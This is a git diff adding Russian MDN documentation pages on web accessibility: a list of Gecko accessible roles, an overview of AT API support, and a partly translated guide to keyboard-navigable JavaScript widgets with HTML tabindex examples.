+ + diff --git a/files/ru/web/accessibility/at-apis/gecko/index.html b/files/ru/web/accessibility/at-apis/gecko/index.html new file mode 100644 index 0000000000..9cd605e79d --- /dev/null +++ b/files/ru/web/accessibility/at-apis/gecko/index.html @@ -0,0 +1,9 @@ +--- +title: Gecko +slug: Web/Accessibility/AT-APIs/Gecko +tags: + - NeedsTranslation + - TopicStub +translation_of: Mozilla/Tech/Accessibility/AT-APIs/Gecko +--- +{{wiki.localize('System.API.page-generated-for-subpage')}} diff --git a/files/ru/web/accessibility/at-apis/gecko/roles/index.html b/files/ru/web/accessibility/at-apis/gecko/roles/index.html new file mode 100644 index 0000000000..3279dc94f1 --- /dev/null +++ b/files/ru/web/accessibility/at-apis/gecko/roles/index.html @@ -0,0 +1,498 @@ +--- +title: Gecko Roles +slug: Web/Accessibility/AT-APIs/Gecko/Roles +tags: + - AT_APIs + - Accessibility + - NeedsTranslation + - Reference + - TopicStub +translation_of: Mozilla/Tech/Accessibility/AT-APIs/Gecko/Roles +--- +

« AT APIs Support Page

+

This page offers a list of accessible roles used in Gecko. Role constants are defined in the nsIAccessibleRole interface.

+
+
+ ROLE_NOTHING
+
+ Used when the accessible item doesn't have a strongly defined role.
+
+ ROLE_TITLEBAR
+
+ Represents a title or caption bar for a window. Used by MSAA only, this is supported automatically by Microsoft Windows.
+
+ ROLE_MENUBAR
+
+ Represents the menu bar (positioned beneath the title bar of a window on most platforms or at the top of the screen on Mac OS X) from which menus are selected by the user.
+
+ ROLE_SCROLLBAR
+
+ Represents a vertical or horizontal scroll bar, which is part of the client area or used in a control.
+
+ ROLE_GRIP
+
+ Represents a special mouse pointer, which allows a user to manipulate user interface elements such as windows. For example, a user clicks and drags a sizing grip in the lower-right corner of a window to resize it
+
+ ROLE_SOUND
+
+ Represents a system sound, which is associated with various system events.
+
+ ROLE_CURSOR
+
+ Represents the system mouse pointer.
+
+ ROLE_CARET
+
+ Represents the system caret.
+
+ ROLE_ALERT
+
+ Represents an alert or a condition that a user should be notified about. Assistive Technologies typically respond to the role by reading the entire onscreen contents of containers advertising this role. Should be used for warning dialogs, etc.
+
+ ROLE_WINDOW
+
+ Represents the window frame, which contains child objects such as a title bar, client, and other objects contained in a window. The role is supported automatically by Microsoft Windows.
+
+ ROLE_INTERNAL_FRAME
+
+ A sub-document.
+
+ ROLE_MENUPOPUP
+
+ Represents a menu, which presents a list of options from which the user can make a selection to perform an action.
+
+ ROLE_MENUITEM
+
+ Represents a menu item, which is an entry in a menu that a user can choose to carry out a command, select an option.
+
+ ROLE_TOOLTIP
+
+ Represents a tooltip that provides helpful hints; this is generally displayed at the mouse cursor position.
+
+ ROLE_APPLICATION
+
+ Represents a main window for an application.
+
+ ROLE_DOCUMENT
+
+ Represents a document window. A document window is always contained within an application window.
+
+ ROLE_PANE
+
+ Represents a pane within a frame or document window. Users can navigate between panes and within the contents of the current pane, but cannot navigate between items in different panes. Thus, panes represent a level of grouping lower than frame windows or documents, but above individual controls.
+
+ ROLE_CHART
+
+ Represents a graphical image used to represent data.
+
+ ROLE_DIALOG
+
+ Represents a dialog box or message box.
+
+ ROLE_BORDER
+
+ Represents a window border.
+
+ ROLE_GROUPING
+
+ Logically groups other objects.
+
+ ROLE_SEPARATOR
+
+ Used to visually divide a space into two regions, such as a separator menu item or a bar that divides split panes within a window.
+
+ ROLE_TOOLBAR
+
+ Represents a toolbar, which is a grouping of controls (push buttons or toggle buttons) that provides easy access to frequently used features.
+
+ ROLE_STATUSBAR
+
+ Represents a status bar, which is an area at the bottom of a window that displays information about the current operation, state of the application, or selected object. The status bar has multiple fields, which display different kinds of information.
+
+ ROLE_TABLE
+
+ Represents a table that contains rows and columns of cells, and optionally, row headers and column headers.
+
+ ROLE_COLUMNHEADER
+
+ Represents a column header, providing a visual label for a column in a table.
+
+ ROLE_ROWHEADER
+
+ Represents a row header, which provides a visual label for a table row.
+
+ ROLE_COLUMN
+
+ Represents a column of cells within a table.
+
+ ROLE_ROW
+
+ Represents a row of cells within a table.
+
+ ROLE_CELL
+
+ Represents a cell within a table.
+
+ ROLE_LINK
+
+ Represents a link to something else. This object might look like text or a graphic, but it acts like a button.
+
+ ROLE_HELPBALLOON
+
+ Displays a Help topic in the form of a ToolTip or Help balloon.
+
+ ROLE_CHARACTER
+
+ Represents a cartoon-like graphic object, such as Microsoft Office Assistant, which is displayed to provide help to users of an application.
+
+ ROLE_LIST
+
+ Represents a list box, allowing the user to select one or more items.
+
+ ROLE_LISTITEM
+
+ Represents an item in a list.
+
+ ROLE_OUTLINE
+
+ Represents an outline or tree structure, such as a tree view control, that displays a hierarchical list and allows the user to expand and collapse branches.
+
+ ROLE_OUTLINEITEM
+
+ Represents an item in an outline or tree structure.
+
+ ROLE_PAGETAB
+
+ Represents a page tab, it is a child of a page tab list.
+
+ ROLE_PROPERTYPAGE
+
+ Represents a property sheet.
+
+ ROLE_INDICATOR
+
+ Represents an indicator, such as a pointer graphic, that points to the current item.
+
+ ROLE_GRAPHIC
+
+ Represents a picture.
+
+ ROLE_STATICTEXT
+
+ Represents read-only text, such as labels for other controls or instructions in a dialog box. Static text cannot be modified or selected.
+
+ ROLE_TEXT_LEAF
+
+ Represents selectable text that allows edits or is designated read-only.
+
+ ROLE_PUSHBUTTON
+
+ Represents a push button control.
+
+ ROLE_CHECKBUTTON
+
+ Represents a check box control.
+
+ ROLE_RADIOBUTTON
+
+ Represents an option button, also called a radio button. It is one of a group of mutually exclusive options. All objects sharing a single parent that have this attribute are assumed to be part of single mutually exclusive group.
+
+ ROLE_COMBOBOX
+
+ Represents a combo box; an edit control with an associated list box that provides a set of predefined choices.
+
+ ROLE_DROPLIST
+
+ Represents the calendar control.
+
+ ROLE_PROGRESSBAR
+
+ Represents a progress bar, dynamically showing the user the percent complete of an operation in progress.
+
+ ROLE_DIAL
+
+ Represents a dial or knob whose purpose is to allow a user to set a value.
+
+ ROLE_HOTKEYFIELD
+
+ Represents a hot-key field that allows the user to enter a combination or sequence of keystrokes.
+
+ ROLE_SLIDER
+
+ Represents a slider, which allows the user to adjust a setting in given increments between minimum and maximum values.
+
+ ROLE_SPINBUTTON
+
+ Represents a spin box, which is a control that allows the user to increment or decrement the value displayed in a separate "buddy" control associated with the spin box.
+
+ ROLE_DIAGRAM
+
+ Represents a graphical image used to diagram data.
+
+ ROLE_ANIMATION
+
+ Represents an animation control, which contains content that changes over time, such as a control that displays a series of bitmap frames.
+
+ ROLE_EQUATION
+
+ Represents a mathematical equation. It is used by MATHML.
+
+ ROLE_BUTTONDROPDOWN
+
+ Represents a button that drops down a list of items.
+
+ ROLE_BUTTONMENU
+
+ Represents a button that drops down a menu.
+
+ ROLE_BUTTONDROPDOWNGRID
+
+ Represents a button that drops down a grid.
+
+ ROLE_WHITESPACE
+
+ Represents blank space between other objects.
+
+ ROLE_PAGETABLIST
+
+ Represents a container of page tab controls.
+
+ ROLE_CLOCK
+
+ Represents a control that displays time.
+
+ ROLE_SPLITBUTTON
+
+ Represents a button on a toolbar that has a drop-down list icon directly adjacent to the button.
+
+ ROLE_IPADDRESS
+
+ Represents an edit control designed for an Internet Protocol (IP) address. The edit control is divided into sections for the different parts of the IP address.
+
+ ROLE_ACCEL_LABEL
+
+ Represents a label control that has an accelerator.
+
+ ROLE_ARROW
+
+ Represents an arrow in one of the four cardinal directions.
+
+ ROLE_CANVAS
+
+ Represents a control that can be drawn into and is used to trap events.
+
+ ROLE_CHECK_MENU_ITEM
+
+ Represents a menu item with a check box.
+
+ ROLE_COLOR_CHOOSER
+
+ Represents a specialized dialog that lets the user choose a color.
+
+ ROLE_DATE_EDITOR
+
+ Represents control whose purpose is to allow a user to edit a date.
+
+ ROLE_DESKTOP_ICON
+
+ An iconified internal frame in an ROLE_DESKTOP_PANE.
+
+ ROLE_DESKTOP_FRAME
+
+ A desktop pane. A pane that supports internal frames and iconified versions of those internal frames.
+
+ ROLE_DIRECTORY_PANE
+
+ A directory pane. A pane that allows the user to navigate through and select the contents of a directory. May be used by a file chooser.
+
+ ROLE_FILE_CHOOSER
+
+ A file chooser. A specialized dialog that displays the files in the directory and lets the user select a file, browse a different directory, or specify a filename. May use the directory pane to show the contents of a directory.
+
+ ROLE_FONT_CHOOSER
+
+ A font chooser. A font chooser is a component that lets the user pick various attributes for fonts.
+
+ ROLE_CHROME_WINDOW
+
+ Frame role. A top level window with a title bar, border, menu bar, etc. It is often used as the primary window for an application.
+
+ ROLE_GLASS_PANE
+
+ A glass pane. A pane that is guaranteed to be painted on top of all panes beneath it.
+
+ ROLE_HTML_CONTAINER
+
+ A document container for HTML, whose children represent the document content.
+
+ ROLE_ICON
+
+ A small fixed size picture, typically used to decorate components.
+
+ ROLE_LABEL
+
+ Presents an icon or short string in an interface.
+
+ ROLE_LAYERED_PANE
+
+ A layered pane. A specialized pane that allows its children to be drawn in layers, providing a form of stacking order. This is usually the pane that holds the menu bar as well as the pane that contains most of the visual components in a window.
+
+ ROLE_OPTION_PANE
+
+ A specialized pane whose primary use is inside a dialog.
+
+ ROLE_PASSWORD_TEXT
+
+ A text object uses for passwords, or other places where the text content is not shown visibly to the user.
+
+ ROLE_POPUP_MENU
+
+ A temporary window that is usually used to offer the user a list of choices, and then hides when the user selects one of those choices.
+
+ ROLE_RADIO_MENU_ITEM
+
+ A radio button that is a menu item.
+
+ ROLE_ROOT_PANE
+
+ A root pane. A specialized pane that has a glass pane and a layered pane as its children. Its children can include scroll bars and a viewport.
+
+ ROLE_SCROLL_PANE
+
+ A scroll pane. An object that allows a user to incrementally view a large amount of information.
+
+ ROLE_SPLIT_PANE
+
+ A split pane. A specialized panel that presents two other panels at the same time. Between the two panels is a divider the user can manipulate to make one panel larger and the other panel smaller.
+
+ ROLE_TABLE_COLUMN_HEADER
+
+ The header for a column of a table.
+
+ ROLE_TABLE_ROW_HEADER
+
+ The header for a row of a table.
+
+ ROLE_TEAR_OFF_MENU_ITEM
+
+ A menu item used to tear off and reattach its menu.
+
+ ROLE_TERMINAL
+
+ Represents an accessible terminal.
+
+ ROLE_TEXT_CONTAINER
+
+ Collection of objects that constitute a logical text entity.
+
+ ROLE_TOGGLE_BUTTON
+
+ A toggle button. A specialized push button that can be checked or unchecked, but does not provide a separate indicator for the current state.
+
+ ROLE_TREE_TABLE
+
+ Representas a control that is capable of expanding and collapsing rows as well as showing multiple columns of data.
+
+ ROLE_VIEWPORT
+
+ A viewport. An object usually used in a scroll pane. It represents the portion of the entire data that the user can see. As the user manipulates the scroll bars, the contents of the viewport can change.
+
+ ROLE_HEADER
+
+ Header of a document page.
+
+ ROLE_FOOTER
+
+ Footer of a document page.
+
+ ROLE_PARAGRAPH
+
+ A paragraph of text.
+
+ ROLE_RULER
+
+ A ruler such as those used in word processors.
+
+ ROLE_AUTOCOMPLETE
+
+ A text entry having dialog or list containing items for insertion into an entry widget, for instance a list of words for completion of a text entry.
+
+ ROLE_EDITBAR
+
+ An editable text object in a toolbar.
+
+ ROLE_ENTRY
+
+ An control whose textual content may be entered or modified by the user.
+
+ ROLE_CAPTION
+
+ A caption describing another object.
+
+ ROLE_DOCUMENT_FRAME
+
+ A visual frame or container which contains a view of document content. Document frames may occur within another Document instance, in which case the second document may be said to be embedded in the containing instance. HTML frames are often ROLE_DOCUMENT_FRAME. Either this object, or a singleton descendant, should implement the Document interface.
+
+ ROLE_HEADING
+
+ Heading.
+
+ ROLE_PAGE
+
+ An object representing a page of document content. It is used in documents which are accessed by the user on a page by page basis.
+
+ ROLE_SECTION
+
+ A container of document content.
+
+ ROLE_REDUNDANT_OBJECT
+
+ An object which is redundant with another object in the accessible hierarchy. ATs typically ignore objects with this role.
+
+ ROLE_FORM
+
+ A container of form controls.
+
+ ROLE_IME
+
+ An object which is used to allow input of characters not found on a keyboard, such as the input of Chinese characters on a Western keyboard.
+
+ ROLE_APP_ROOT
+
+  ???
+
+ ROLE_PARENT_MENUITEM
+
+ Represents a menu item, which is an entry in a menu that a user can choose to display another menu.
+
+ ROLE_CALENDAR
+
+ A calendar that allows the user to select a date.
+
+ ROLE_COMBOBOX_LIST
+
+ A list of items that is shown by combobox.
+
+ ROLE_COMBOBOX_OPTION
+
+ A item of list that is shown by combobox
+
+ ROLE_IMAGE_MAP
+
+ An image map -- has child links representing the areas
+
+ ROLE_OPTION
+
+ An option in a listbox
+
+ ROLE_RICH_OPTION
+
+ A rich option in a listbox, it can have other widgets as children
+
+ ROLE_LISTBOX
+
+ A list of options
+
+
+

Editor's note: Use template ROLE_ to get reference on accessible role. It looks like ROLE_MENUITEM.

+
diff --git a/files/ru/web/accessibility/at-apis/gecko/roles/role_document/index.html b/files/ru/web/accessibility/at-apis/gecko/roles/role_document/index.html new file mode 100644 index 0000000000..0116e62762 --- /dev/null +++ b/files/ru/web/accessibility/at-apis/gecko/roles/role_document/index.html @@ -0,0 +1,31 @@ +--- +title: ROLE_DOCUMENT +slug: Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DOCUMENT +translation_of: Mozilla/Tech/Accessibility/AT-APIs/Gecko/Roles/ROLE_DOCUMENT +--- +

« Gecko Roles Page

+

Represents a document window. A document window is always contained within an application window.

+

Interfaces

+ +

Mapped to

+ +

Used by

+ +

diff --git a/files/ru/web/accessibility/at-apis/gecko/roles/role_password_text/index.html b/files/ru/web/accessibility/at-apis/gecko/roles/role_password_text/index.html new file mode 100644 index 0000000000..3157da6c12 --- /dev/null +++ b/files/ru/web/accessibility/at-apis/gecko/roles/role_password_text/index.html @@ -0,0 +1,27 @@ +--- +title: ROLE PASSWORD TEXT +slug: Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PASSWORD_TEXT +translation_of: Mozilla/Tech/Accessibility/AT-APIs/Gecko/Roles/ROLE_PASSWORD_TEXT +--- +

 

+ +

« Gecko Roles Page

+ +

Description

+ +

A text object uses for passwords, or other places where the text content is not shown visibly to the user.

+ +

Mapped to

+ + + +

Used by

+ + diff --git a/files/ru/web/accessibility/at-apis/index.html b/files/ru/web/accessibility/at-apis/index.html new file mode 100644 index 0000000000..43b7f1d8b6 --- /dev/null +++ b/files/ru/web/accessibility/at-apis/index.html @@ -0,0 +1,176 @@ +--- +title: AT APIs Support +slug: Web/Accessibility/AT-APIs +tags: + - AT_APIs + - Accessibility + - NeedsTranslation + - TopicStub +translation_of: Mozilla/Tech/Accessibility/AT-APIs +--- +

Introduction

+ +
Documentation is in progress still. But in the meantime it more up-to-date and contains more details than existed analogues for AT-SPI and MSAA
+ +

This documentation explains how makers of screen readers, voice dictation packages, onscreen keyboards, magnification software and other assitive technologies can support Gecko-based software. We provide for them the support of these products on Windows, Linux/Unix and OS X platforms.

+ +

Accessible Gecko

+ +

Gecko is a rendering engine that Firefox, SeaMonkey, Netscape and yelp use. Gecko can render a variety of content, not just HTML and supports key web standards such as Cascading Style Sheets, Javascript and the W3C DOM. Gecko also handles the users keystrokes and mouse clicks. Gecko is the core architecture that we are adding accessibility to, in order to support basic accessibility in all applications that are based on it.

+ +

Gecko Based Applications

+ +

Gecko can be used in two ways to create application:

+ +

Embedded Clients

+ +

Embedded clients use Gecko only in the content window, at the moment for HTML and generic XML only. They typically use standard Windows controls for their user interface -- the area outside of the client content window, plus the context menu.

+ + + +

XUL Applications

+ +

XUL applications make full use of the Gecko architecture, not only for HTML content, but also for the entire user interface. Widgets such as menus, tab panels, tree views and dialogs are provided via an XML language called XUL (eXtensible User-interface Language). None of the user interface contains standard OS controls. This is done to ensure a common look and feel across all supported platforms, and to allow for different skins (appearances). Developing a XUL window is not that different from developing a web page, but the elements available to add widgets are more powerful and designed to be similar to desktop widgets.

+ +

Examples of XUL applications:

+ + + +

Gecko Version

+ +

For Firefox and all other Gecko-based products: this documentation applies to up-to-date product builds based on Gecko 1.9.2 -- currently not available on official releases. However most of described features are supported starting from Gecko 1.9.0 (Firefox 3.0). However it's preferable to grab the current build of Firefox or any other Gecko-based product to be up to dated:

+ + + +

Determining if Accessibility is Enabled in a Firefox

+ +

Accessibility is enabled on Windows and Linux platforms by default. As well you might find helpful the about:accessibilityenabled Firefox extension.

+ +

Supported AT APIs

+ +

AT APIs terms

+ +
+
Microsoft Active Accessibility (MSAA)
+
an API devised by Microsoft so that accessibility aids can track what's going on inside the user interface of any software package that supports it. If you seriously need to understand MSAA, you'll need to read the docs on MSDN and play with the sample apps and code that come with MSAA SDK 1.3. (I recommend SDK 1.3 because the MSAA SDK 2.0 doesn't come with the source code to the testing tools. The other differences are not important).
+
IAccessible2 (IA2)
+
IAccessible2 is a new accessibility API which complements Microsoft's earlier work on MSAA. This API fills critical accessibility API gaps in the MSAA offering.
+
Assistive Technology Service Provider Interface (AT-SPI)
+
an API devised by Sun Microsystems so that accessibility aids can track what's going on inside the user interface of any software package that supports it. If you seriously need to understand AT-SPI, you'll need to read the docs on gnome.org and play with the available sample apps and code, such as at-poke. Please note that the web docs are sometimes out of date, and the latest AT-SPI is available on CVS.
+
Universal Access (UA)
+
Universal Access (UA) is the Apple's accessibility framework.
+
+ +

Windows platform

+ +

We support MSAA (Microsoft Active Accessibility) and IAccessible2 on Windows. Also we expose MS COM interfaces ISimpleDOM* to provide an access to DOM tree.

+ +

IAccessible2 is a set of interfaces that overlay the MSAA (IAccessible) and DOM (ISimpleDOM*) interface support. Any object that supports IAccessible will also support IAccessible2 and possibly any of the other IA2 interfaces.

+ +

Linux/Unix platform

+ +

We support ATK/AT-SPI interfaces on Linux.

+ +

Mac platform

+ +

We currently support only a subset of Universal Access. The rest of the Mozilla Universal Access support is in progress.

+ +

Accessible Web Specifications

+ +

Gecko exposes the number of XML languages including HTML to AT. Refer to accessible web specifications page to learn what and how markup languages are exposed.

+ +

AT APIs Implementation Details

+ +

Refer to implementation details page to see how Gecko supports interesting AT API. There you will find information how AT API interfaces, roles, states and etc are mapped into Gecko accessibility API and visa versa.

+ +

Keyboard User Interface and API

+ +

Fortunately, Gecko uses the standard keyboard API's for each supported platform. The Mozilla keyboard shortcuts for content are similar to what is used in other browsers. Here is a list of Firefox keyboard shortcuts.

+ +

Test Tools

+ +

Here you will find a list of tools to test accessibility Gecko-based applications.

+ + + +

Screen Readers

+ +

Here's a list of screen readers we are oriented to in the first place.

+ + + +

Contacts

+ +

Please discuss accessibility issues on the Mozilla Accessibility groups or on the Mozilla Accessibility IRC channel.

diff --git a/files/ru/web/accessibility/index.html b/files/ru/web/accessibility/index.html new file mode 100644 index 0000000000..5906df0a22 --- /dev/null +++ b/files/ru/web/accessibility/index.html @@ -0,0 +1,54 @@ +--- +title: Доступность +slug: Web/Accessibility +tags: + - Accessibility + - Advanced + - Landing + - TopicStub + - Веб-разработка +translation_of: Web/Accessibility +--- +

Доступность (Accessibility, A11y в англоязычной среде) в веб-разработке — это обеспечение возможности использования сайтов как можно большим числом людей, включая тех, чьи способности как-либо ограничены.

+ +

Технологии облегчают жизнь многим людям. А людям с ограниченными возможностями технологии дают такие возможности, которые ранее им были недоступны. Доступность в контексте разработки подразумевает создание такого контента, пользоваться которым мог бы каждый, несмотря на индивидуальные физические или когнитивные способности и вне зависимости от того, как они получают доступ в сеть.

+ +

«Термин "специальные возможности" часто применяется для описания возможности использования или удобства использования системы людьми с ограниченными возможностями, например, инвалидами на креслах-колясках. Это понятие следует понимать более широко, например, оно охватывает шрифт Брайля, пандусы для инвалидов на креслах-колясках, аудио-сигналы на пешеходных переходах, оборудованные рифленой тактильной плиткой пешеходные дорожки, разработку веб-сайтов и так далее." Статья Accessibility в английской Википедии

+ +

"Интернет принципиально создан для всех людей на Земле, независимо от их аппаратных, программных, языковых, культурных, территориальных, физических или умственных способностей." W3C - Accessibility

+ +
+
+

Документация

+ +
+
Веб-разработка
+
Набор статей для привлечения внимания к проблемам веб-разработки в мире специальных возможностей.
+
ARIA
+
Набор статей о том, как сделать HTML-файлы доступнее с помощью ARIA.
+
Разработка вспомогательных технологий (технических средств реабилитации, ТСР)
+
Набор статей для разработчиков ТСР.
+
Mobile accessibility checklist
+
Этот документ предоставляет краткий список требований к разработке специальных возможностей для мобильных приложений.
+
+ +

Смотреть все статьи о Специальных возможностях...

+
+ +
+

Инструменты для веб-разработчиков

+ + + +

Смотреть всё...

+ +

Другие полезные сайты

+ + +
+
diff --git a/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html b/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html new file mode 100644 index 0000000000..00b91b8257 --- /dev/null +++ b/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html @@ -0,0 +1,206 @@ +--- +title: Навигация с клавиатуры в JavaScript +slug: Web/Accessibility/Keyboard-navigable_JavaScript_widgets +tags: + - Accessibility + - DOM +translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets +--- +

Как сделать для JavaScript-виджетов на основе span или div возможность навигации с клавиатуры.

+ +

Обзор

+ +

Веб-приложения часто используют JavaScript, чтобы имитировать работу различных элементов, перешедших в веб с десктопных приложений: динамические меню, закладки, нестандартные элементы форм. Все эти элементы можно назвать виджетами. В вёрстке виджеты обычно состоят из набора HTML-элементов {{HTMLElement("div")}} и {{HTMLElement("span")}}, которые по умолчанию не предоставляют возможности работать с ними, используя клавиатуру. В данной статье описывается техника, позволяющая сделать JS-виджеты управляемыми с клавиатуры.

+ +

Использование tabindex

+ +

Атрибут tabindex был представлен в спецификации HTML 4. Он позволяет задать порядок, в котором элементы будут получать фокус при навигации с клавиатуры. Текущая реализация, описанная в HTML 5 draft specs, довольно сильно отличается от первоначальной. Все распространённые браузеры теперь придерживаются новой спецификации.

+ +

В данной таблице описано поведение элементов в зависимости от значения атрибута tabindex:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Атрибут tabindex +

Фокус при помощи мыши или программно через element.focus()

+ 		Фокус при навигации с клавиатуры (Tab)
ОтсутствуетРаботает согласно правилам платформы для конкретного элемента (возможен для элементов форм, ссылок и т.п.)Работает согласно правилам платформы для конкретного элемента
Менее нуля (tabindex="-1")ВозможенНевозможен. Разработчик должен использовать focus() при нажатии стрелочек на клавиатуре и других клавиш.
Нуль (tabindex="0")ВозможенПроисходит поочередно, исходя из позиции элемента внутри документа
Более нуля (например tabindex="33")ВозможенЗначение атрибута tabindex указывает очередность, в которой элемент получит фокус. Чем меньше значение атрибута, тем раньше элемент получит фокус. В любом случае, фокус придет на такие элементы раньше, чем на элементы с tabindex="0" и элементы, которые способны получить фокус без атрибута tabindex (например, tabindex="7" получит фокус раньше tabindex="11")
+ +

Простые контролы

+ +

Чтобы сделать простой виджет доступным через клавишу Tab, задайте tabindex="0" на HTML элементах {{HTMLElement("div")}} или {{HTMLElement("span")}}, из которых он состоит. Ниже представлен пример эмулирования чекбоксов. Вместо элементов input в примере используется {{HTMLElement("span")}}.

+ +

Пример 1: Простой виджет, эмулирующий работу чекбосов путем смены изображений. Виджет использует tabindex, чтобы обеспечить доступ с клавиатуры.

+ +
<!-- Без атрибута tabindex, элементы <span> не смогут принимать фокус с клавиатуры -->
+<div>
+    <span role="checkbox" aria-checked="true" tabindex="0">
+        <img src="checked.gif" role="presentation" alt="" />
+        Добавить декоративную корзину с фруктами
+    </span>
+</div>
+<div>
+    <span role="checkbox" aria-checked="true" tabindex="0">
+        <img src="checked.gif" role="presentation" alt="" />
+        Добавить поющую телеграмму
+    </span>
+</div>
+<div>
+    <span role="checkbox" aria-checked="false" tabindex="0">
+        <img src="unchecked.gif" role="presentation" alt="" />
+        С предоплатой
+    </span>
+</div>
+
+ +

Сгруппированные контролы

+ +

Безусловно есть необходимость создания более сложных виджетов. В качестве примеров можно привести меню, панели табов, различные динамические таблицы, представления для информации, имеющей древовидную структуру. Для таких контролов родительский элемент должен иметь атрибут tabindex="0". В таком случае он сможет попасть в фокус с клавиатуры. Все дочерние элменты (пункты меню, отдельные табы, ячейки, строки) должны иметь tabindex="-1", чтобы не попадать в фокус при нажатии tab. Пользователи должны иметь возможность путешествовать по дочерним элементам при помощи стрелочек на клавиатуре.

+ +

Ниже приведен пример, который демонстрирует использование этой техники для реализации вложенного меню. После того, как в фокус попадает основной элемент меню ({{HTMLElement("ul")}}), разработчик должен программно управлять фокусом, реагируя на нажития клавиш со стрелочками. Для описания техники управления фокусом внутри виджета смотрите раздел «Управление фокусом внутри виджета» ниже в данной статье.

+ +

Пример 2: Меню, использующее атрибут tabindex для осуществления доступа с клавиатуры

+ +
<ul id="mb1" tabindex="0">
+  <li id="mb1_menu1" tabindex="-1"> Шрифт
+    <ul id="fontMenu" title="Шрифт" tabindex="-1">
+      <li id="sans-serif" tabindex="-1">Sans-serif</li>
+      <li id="serif" tabindex="-1">Serif</li>
+      <li id="monospace" tabindex="-1">Monospace</li>
+      <li id="fantasy" tabindex="-1">Fantasy</li>
+    </ul>
+  </li>
+  <li id="mb1_menu2" tabindex="-1"> Стиль
+    <ul id="styleMenu" title="Стиль" tabindex="-1">
+      <li id="italic" tabindex="-1">Наклонный</li>
+      <li id="bold" tabindex="-1">Жирный</li>
+      <li id="underline" tabindex="-1">Подчеркнутый</li>
+    </ul>
+  </li>
+  <li id="mb1_menu3" tabindex="-1"> Выравнивание
+    <ul id="justificationMenu" title="Выравнивание" tabindex="-1">
+      <li id="left" tabindex="-1">Слева</li>
+      <li id="center" tabindex="-1">По центру</li>
+      <li id="right" tabindex="-1">Справа</li>
+      <li id="justify" tabindex="-1">По ширине</li>
+    </ul>
+  </li>
+</ul>
+ +

Неактивные (disabled) контролы

+ +

Когда элемент управления становится неактивным, он должен не попадать в фокус при нажатии на tab, что обеспечивается выставлением у элемента атрибута tabindex="-1". Обратите внимание, что неактивные элементы в пределах сгруппированного виджета (такие как, подпункты меню ) должны иметь возможность быть выбранными при помощи стрелочек на клавиатуре.

+ +

Управление фокусом внутри виджета

+ +

Когда пользователь уходит с виджета, а потом возвращается обратно, фокус должен вернутся на определенный элемент, у которого был фокус раньше. Например, на конкретный элемент дерева или ячейку. Есть два варианта, которыми этого можно добиться:

+ +
    +
  1. Переходящий tabindex: програмное перемещение фокуса
    2. +
  2. aria-activedescendant: управление «виртуальным» фокусом
    3. +
+ +

Техника первая: Переходящий tabindex

+ +

Идея данной техники заключается в выставлении атрибута tabindex в нулевое значение для элемента, который последним находился в фокусе. При этом если пользователь уйдет табом с виджета, а потом вернется обратно, элемент восстановит фокус правильно. Заметьте, что выставляя tabindex в "0", необходимо выставлять tabindex="-1" для предыдущего выделенного элемента. Эта техника требует выставлять фокус элементам программно, реагируя на нажатие клавиш.

+ +

Для этого необходимо слушать событие keydown для каждого дочернего элемента виджета. Когда пользователь нажимает на стрелочки на клавиатуре, чтобы переместиться на другой элемент следует:

+ +
    +
  1. программно применить фокус к другому элементу
    2. +
  2. изменить tabindex элемента в фокусе на 0
    3. +
  3. изменить tabindex предыдущего элемента на -1
    4. +
+ +

По ссылке Вы можете увидеть пример WAI-ARIA tree view, использующий эту технику.

+ +
Советы
+ +
Используйте element.focus() чтобы задать фокус элементу
+ +

Не используйте createEvent(), initEvent() and dispatchEvent() чтобы задать фокус. Событие DOM focus должно использовать только для получения информации о том, что произошел фокус на элемент, оно генерируется системой, когда какой-либо элемент попал в фокус. Оно не должно использовать для того, чтобы задать фокус. Вместо этого используйте element.focus().

+ +
Используйте событие onfocus чтобы отслеживать фокус
+ +

При разработке не стоит расчитывать, что фокус будет меняться только в следствие манипуляций пользователя с клавиатурой и мышью. Вспомогательные программы, такие как screen readers могут задавать фокус элементам. Отслеживайте события onfocus и onblur, вместо событий мыши и клавиатуры.

+ +

onfocus и onblur могут быть использованы с любыми елементами. Сейчас в стандартах не описано метода для получения элемента, находящегося в фокусе. Поэтому если вам потребуется отслеживать элемент с фокусом, его надо будет запоминать в переменную.

+ +

Техника вторая: aria-activedescendant

+ +

Эта техника позволяет объединить  каждый отдельно взятый обработчик  событий в контейнер графического элемента и использовать  aria-activedescendent для слежения за "виртуальным" фокусом . (Для получения более подробной информации относительно ARIA обратите внимание на  обзор доступных веб-приложений и виджетов .)

+ +

The aria-activedescendant property identifies the ID of the descendent element that currently has the virtual focus. The event handler on the container must respond to key and mouse events by updating the value of aria-activedescendant and ensuring that the current item is styled appropriately (for example, with a border or background color). See the source code of this ARIA radiogroup example for a direct illustration of how this works.

+ +
Tips
+ +
scrollIntoView
+ +

Note that the use of this pattern requires the author to ensure that the current focused widget is scrolled into view. You should be able to use the {{domxref("element.scrollIntoView()")}} function, but we recommend confirming this works for you in your target browsers using the quirksmode test.

+ +
Issues
+ + + +

Рекомендации

+ +

Используйте onkeydown для отлова событий вместо onkeypress

+ +

В IE событие keypress срабатывает только для буквенно-цифровых клавиш. Используйте onkeydown вместо этого.

+ +

Убедитесь, что клавиатура и мышь производят одинаковое действие

+ +

Чтобы обеспечить независимый от устройства ввода механизм взаимодействия с пользователем, обработчики событий мыши и клавиатуры должны совместно использовать код там, где это необходимо. Например, код, который обновляет значение tabindex или стили, когда пользователь переключается между элементами c помощью стрелок, должен выполняться и обработчиками клика мыши, чтобы применить те же самые изменения.

+ +

Убедитесь, что можно использовать клавиатуру для активации элемента 

+ +

Чтобы обеспечить использование клавиатуры для активации элемента, любые обработчики событий мыши должны быть также связаны с событиями клавиатуры. Например, чтобы клавиша Enter активировала элемент, если у вас есть onclick="doSomething()", вам необходимо также связать doSomething() с событием нажатия клавиши: onkeydown="return event.keyCode != 13 || doSomething();".

+ +

Не используйте :focus для стилизации фокусировки (если вы поддерживаете IE 7 и более ранние)

+ +

IE 7 и более ранние версии не поддерживают :focus псевдо-селектор; не используйте его для стилизации фокуса. Вместо этого, установите стили с помощью обработчика событий onfocus, например, добавив название CSS стиля аттрибуту class.

+ +

Always draw the focus for tabindex="-1" items and elements that receive focus programatically

+ +

